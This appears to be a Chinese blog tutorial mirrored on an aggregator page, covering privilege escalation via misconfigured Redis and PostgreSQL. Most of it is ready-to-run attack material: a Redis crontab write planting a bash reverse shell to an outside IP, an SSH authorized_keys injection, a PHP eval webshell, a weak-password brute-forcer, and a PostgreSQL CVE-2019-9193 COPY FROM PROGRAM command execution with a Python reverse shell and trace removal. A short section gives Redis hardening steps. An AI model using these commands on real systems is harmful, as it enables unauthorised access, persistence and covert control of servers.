IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 权限提升之数据库——Redis和PostgreSQL提权方式 -> 正文阅读

[大数据]权限提升之数据库——Redis和PostgreSQL提权方式

目录

前言:

(一)Redis提权

0x01?利用计划任务执行命令反弹shell

0x02??写ssh-keygen公钥登录服务器

1、利用条件

2、过程

0x01、本地生成ssh密钥

2?目标机上写入公钥

3?进行连接

?0x03?获取web服务的shell

未授权检测代码:

0x04?修复方案

以低权限运行Redis

禁止外网访问Redis

3. 禁止高危命令

(二)PostgreSQL 提权漏洞

0x01?PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

1.漏洞介绍

2.漏洞复现

0x02?pg_hba.conf配置错误

1. 漏洞简述

2.复现步骤

?0x03?PostgreSQL远程代码执行漏洞(CVE-2018-1058)

2.漏洞范围

?3.复现步骤


前言:

? ? ? ? 通过之前对Access、MSSQL(SQL server)和Mysql注入的介绍,大家对数据库的提权方式有了一定的认知,我认为耗时间的是Access,这和它开发的理念有直接的关系,而本次介绍的是Redis和PostgreSQL的提权,和之前提权利用的点很相似,会利用到系统自带独特的方式,主要集中在配置文件发生问题,进行反弹连接,进行渗透。

权限提权——Win提权漏洞及数据库&AT&SC&PS提权__Cyber的博客-CSDN博客

WEB SQL漏洞-Access、MSSQL(SQL server)注入__Cyber的博客-CSDN博客

(一)Redis提权


Redis服务因配置不当,可被攻击者恶意利用。黑客借助Redis内置命令,可将现有数据恶意清空;如果redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。

0x01?利用计划任务执行命令反弹shell


在redis以root权限运行时可以写crontab来执行命令反弹shell,其中可以写入cron的地方有:

  • /etc/crontab这个是肯定的
  • /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell
  • /var/spool/cron/rootcentos系统下root用户的cron文件
  • /var/spool/cron/crontabs/rootdebian系统下root用户的cron文件

先在自己的服务器上监听一个

nc -lvnp 5555

然后执行命令:

redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/5555 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

执行完命令就可以看到写入的命令

?等待定时任务的执行,就会获得反弹的shell

具体操作可以参考我之前总结的

Redis未授权访问漏洞__Cyber的博客-CSDN博客

0x02??写ssh-keygen公钥登录服务器


1、利用条件

  1. Redis服务使用root账号启动
  2. 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

2、过程

利用redis的文件写入,写入一个ssh-keygen公钥,然后利用私钥登录

0x01、本地生成ssh密钥

ssh-keygen -t rsa

2?目标机上写入公钥

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK

3?进行连接

?0x03?获取web服务的shell


如果不是root权限且该服务器上有web环境,当然也可以利用redis这个文件写入的能力,写入一个webshell

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['jinyouxin']);?>"
save

未授权检测代码:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

0x04?修复方案


  1. 以低权限运行Redis

  2. 禁止外网访问Redis

#修改redis配置
bind 127.0.0.1

3. 禁止高危命令

#修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
 
#或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

(二)PostgreSQL 提权漏洞


0x01?PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)


1.漏洞介绍

PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令

2.漏洞复现


(1)使用navicat填好数据库连接信息,点击新建查询以执行SQL语句

?(2)验证漏洞的步骤很简单:创建一个表cmd_exec(名字随意),调用COPY TO/FROM PROGRAM功能执行系统命令,从表中查看命令执行的结果

?在PostgreSQL里面postgres就是最高权限

CREATE TABLE cmd_exec(cmd_output text); 

COPY cmd_exec FROM PROGRAM 'whoami'; 

SELECT * FROM cmd_exec;

(三)采用python反弹shell,注意SQL语句中的单引号前面要再加一个单引号进行转义

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(四 )接收端机器上用nc -lvp port监听,得到反弹回来的bash,可以执行命令

?

(五)反弹成功后可直接在navicat那边停掉查询,虽然停掉后shell这边会报个错,但是不影响使用

?(六)清除痕迹

Drop table cmd_exec;

0x02?pg_hba.conf配置错误


1. 漏洞简述

pg_hba.conf文件是记录postgresql数据库连接认证方式的文件,若配置错误可导致攻击者无需密码即可连接数据库。

2.复现步骤

(1)当认证方式为 trust时:只验证用户名,不验证密码。

?

?(2)修改pgsql的data目录下的pg_hba.conf文件加入上面一条,然后重启服务

?(3)之后不需要密码即可连接成功

?(4)随意输入任意密码也可连接成功

?0x03?PostgreSQL远程代码执行漏洞(CVE-2018-1058)


1.漏洞简述

普通用户在public空间上重载函数加入恶意代码,待高权限用户调用该函数时即可以高权限执行这个恶意代码。

2.漏洞范围

9.3--10 版本中除了下图的版本

?3.复现步骤

(1)首先登陆数据库创建一个普通用户admin

?(2)查看权限,admin并非超级管理员

?(3)以admin用户身份创建一个表hehehehe并插入数据,重载函数upper,插入作用为提升自己权限的恶意代码

(4)切换用户为超级管理员postgres,模拟管理员在不知情情况下登陆?

?(5)再模拟管理员在不知情情况下执行了函数upper对表hehehehe进行查询

?

参考文献

https://blog.csdn.net/Blood_Pupil/article/details/88795627

http://www.mamicode.com/info-detail-3051203.html

https://www.cnblogs.com/KevinGeorge/p/8521496.html

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-10-22 21:22:23  更:2022-10-22 21:24:56 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年4日历 -2025/4/22 12:17:48-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码